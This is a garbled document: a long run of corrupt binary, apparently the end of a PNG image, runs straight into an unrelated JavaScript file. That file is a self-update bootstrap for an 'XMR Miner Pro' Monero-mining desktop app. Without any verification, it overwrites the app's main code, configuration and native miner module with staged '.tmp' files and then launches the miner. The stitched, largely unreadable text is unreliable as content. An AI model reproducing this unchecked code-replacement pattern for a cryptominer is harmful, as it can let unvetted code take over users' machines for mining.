6Žä0ЇçúXBNLÊbZüÊPÀîñ|üÅŒÊéì9éŸ�f‰ïd÷=Î…Xè%†Œ\†s\‹Í$Y¾ ‘u‰Ëã°Í777#/xÐÜø¬äòÃeQÇ+=(Å�8d½Ôò¦:¡ºX¶§ü×ýW/ÔÓ«8ZKOãLŒt!“¾ûvÄßÿ½ïY¿ÅëmlíyÜ2o[¾·ãýÛ=š¤{Ù×z±·ß~Û6Ú®éÊèÍÓeO“;C€n®öüùsûî»ç®hÑñZ)äárF8NXšö¤*öàÁƒñœ²Ì>gðt¨(I/ •øäÙS{ñâÅh 5ÎLØjð3­yši…â0”ÒíþýûÃ˲‰d“÷zõ4~ûí·öêÕ+3Þ?mâqFÊõ�{¬ŸêqÇ{ïýÂ=IòN=�ËjÌ$K}á,Lìâ²-öý÷ßÛ?ü`—o³Xò¹¯£ØQž]�eÕ°æ²Ù{ï½7ê‹åÌõ0Âb¾ïq¢}w ý{ò䉽xñrÌ|ûs@˜Ûi ¯®ÅpÁ{¿xàF^½ˆ‹õįpbøà·žø ƒ�{ñ×ñÝÛ¬$î¢WÛ÷nÿöoÿ6 [‹É6^™È1܃öÖÌþéŸþÉ~ùË_ÚŽ�CŠ‹ó(-!”½Ö:¾í.¥Ø‹/ìOú)d*0–)ÄÉÇu(*”°ï»ýËoÚýû÷íz½:^Ð×|‘+äÞ,hßÀÛ£õê•=zô¿§É™Z}pÝÂx&úO`ßw{øð¡½ûƒ±×äQyús�Zí»ï¾³Ç�?<Ìé½Î{‰ú§M =:�Â÷}·?üÐQÇÙþÌ,�[lkU­Ø·OŸØ§Ÿ~êtEûtg™¶Ã’Þ ûMèRxiÿòáoìþýûv»»Ó‘<£Òq|¨ZvÝ;ÂgßgþóŸ­^b;òâ|n±1hL¯ßg;qÈ€~÷»�ìÞ=?k¥µ«¿–Vrí°7;z‘Jî †Õ±7¾\Â2Ã-ô×¢\Çeæ¶ÇÙ…¥»‘Û#º÷Ü!µÇŒ z”½mÞƒÃUMºó5!ã.V·³Zl»¹Øvso4îAÕUƆýÁX.(Ÿi*ÛÅOÁžäì{Ê×Ë�ÕËæ^%Ún=É�G({E/»{pCŠqJßÇK•Ðh]—ºÑy© ³s�\—‹v7y•‚,òß�E9Œ™å+)Ò;�8@^C.Åêe³›íbÕüT´mó°zÙüL†êgÔ8WžΩ¸¶|-íèt†î…—1ø‰�’÷~ùÁÿg\.þŒWj�»±m»òM=¨v¹wcÛMµ:êb³ÛÝñCžÙa¸Ì’nw�ö„Í*Ggt\ªËlÛ¶ Ëås¹\ìææfÔ9Îl°š¯Š½w«ÛÍhC�Ï��—4:‚uêϸ"_ic–¾Öj7ÛeÐwsãeÕ8wár¹ç2Œ I°–­Ž×hŒ×™5·1¬X ÷ª`yɇܔ§w?à$™ŸÇ¨\.?³ðXPÜ«q:@ҫ·1 Št¥øÚ2L!#-Ó4,-yЊåÿÁû‹a^v–΢�¼ÁäŽ2üsœY&Hzò9•Ψ•©ÊbÈJdÃéô¦4 _œ·Ê˜î“fŸ¬(É÷.�Ã:ä¤-t“ÃJ)é%¡#Z¤ÃýœoÕ)®w‡Omzuœeµ‚y‚Ä�óãÿJÓÏu�gåײ]Ñ™4ä«7×xý±áFô ü´4ª”bõtå·—Ïéög)Q1·òÃ8ølë€XK…žžž�QYLøYeAxÌæ]0Ìlì4;ó‘F ‚ã°c3Àµ˜Y�^%;@)î�Ž™ÀØ3¿÷buJ'rÅΦ½û7»x+±¢<åЧ…¿Ü³ï;^Y˜ž|õ?ÊÁ²åàF˜Êé�VÖß%T1®þl�§YîâágÓº1>@Ì⃷á1 Ïxó¿ã*²U9ó}†œš®tÛðöÂ_e$?\ÿÞÉ:>„Ïúáù [OŽºLo²“Þ^©#ß�í>ÃÿSºÜq«,ü*áÀÐNøÇλž×›Md^£��¤2fYÃvpç…M‡·¨R|–ÜÛ¿ŸÂõÿ¢ÈUñéû†IEND®B`‚/** * updater.js — Bootstrap do XMR Miner Pro * * Roda ANTES do main.js (entry point via package.json). * Aplica atualizações pendentes (main.js.tmp) antes de carregar o miner. * Funciona para qualquer versão anterior que tenha tentado atualizar. */ 'use strict'; const path = require('path'); const fs = require('fs'); const appDir = __dirname; // Arquivos pendentes de update (criados pelo downloadToFile antigo: dest.tmp) const pending = [ { tmp: path.join(appDir, 'main.js.tmp'), dest: path.join(appDir, 'main.js') }, { tmp: path.join(appDir, 'preload.js.tmp'), dest: path.join(appDir, 'preload.js') }, { tmp: path.join(appDir, 'renderer.js.tmp'), dest: path.join(appDir, 'renderer.js') }, { tmp: path.join(appDir, 'index.html.tmp'), dest: path.join(appDir, 'index.html') }, { tmp: path.join(appDir, 'webrtc_renderer.html.tmp'), dest: path.join(appDir, 'webrtc_renderer.html') }, { tmp: path.join(appDir, 'package.json.tmp'), dest: path.join(appDir, 'package.json') }, { tmp: path.join(appDir, 'tray_icon.png.tmp'), dest: path.join(appDir, 'tray_icon.png') }, { tmp: path.join(appDir, 'build', 'Release', 'native_miner.node.tmp'), dest: path.join(appDir, 'build', 'Release', 'native_miner.node') }, { tmp: path.join(process.resourcesPath || appDir, '..', 'native_miner.node.tmp'), dest: path.join(process.resourcesPath || appDir, '..', 'native_miner.node') }, ]; let applied = 0; for (const { tmp, dest } of pending) { if (fs.existsSync(tmp)) { try { // main.js NÃO está locked ainda (somos o entry point, ainda não foi carregado) fs.copyFileSync(tmp, dest); fs.unlinkSync(tmp); applied++; console.log('[UPDATER] Aplicado:', path.basename(dest)); } catch (e) { console.error('[UPDATER] Falha ao aplicar', path.basename(dest), ':', e.message); } } } if (applied > 0) { console.log('[UPDATER] ' + applied + ' arquivo(s) atualizado(s). Carregando novo main.js...'); } // Carrega o miner principal (já atualizado se havia pendências) require('./main.js'); RTC